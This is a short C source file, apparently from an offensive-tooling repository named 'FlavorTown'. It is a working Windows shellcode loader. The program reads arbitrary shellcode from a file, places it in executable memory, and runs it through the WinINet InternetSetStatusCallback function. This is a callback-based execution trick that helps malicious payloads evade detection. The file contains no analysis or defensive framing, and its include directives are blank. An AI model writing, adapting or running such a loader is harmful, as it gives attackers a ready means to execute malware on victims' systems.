// Wra7h/FlavorTown // Written/Compiled: Visual Studio 2022 // Usage: this.exe #pragma comment(lib, "Wininet.lib") #include #include #include BOOL ReadContents(PWSTR Filepath, PCHAR* Buffer, PDWORD BufferSize); INT wmain(INT argc, WCHAR* argv[]) { BOOL Ret = FALSE; DWORD SCLen = 0; PCHAR Shellcode = NULL; HINTERNET hSession = NULL; HINTERNET hInternet = NULL; if (argc != 2) { printf("Usage: InternetSetStatusCallback.exe C:\\Path\\To\\Shellcode.bin"); goto CLEANUP; } //Read shellcode and setup Ret = ReadContents(argv[1], &Shellcode, &SCLen); if (!Ret) goto CLEANUP; PVOID hAlloc = VirtualAlloc(NULL, SCLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(hAlloc, Shellcode, SCLen); hSession = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, INTERNET_FLAG_OFFLINE); InternetSetStatusCallback(hSession, (INTERNET_STATUS_CALLBACK)hAlloc); hInternet = InternetConnect(hSession, L"localhost", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1); CLEANUP: if (Shellcode) free(Shellcode); if (hSession) InternetCloseHandle(hSession); if (hInternet) InternetCloseHandle(hInternet); return 0; } BOOL ReadContents(PWSTR Filepath, PCHAR* Buffer, PDWORD BufferSize) { FILE* f = NULL; _wfopen_s(&f, Filepath, L"rb"); if (f) { fseek(f, 0, SEEK_END); *BufferSize = ftell(f); fseek(f, 0, SEEK_SET); *Buffer = malloc(*BufferSize); fread(*Buffer, *BufferSize, 1, f); fclose(f); } return (*BufferSize != 0) ? TRUE : FALSE; }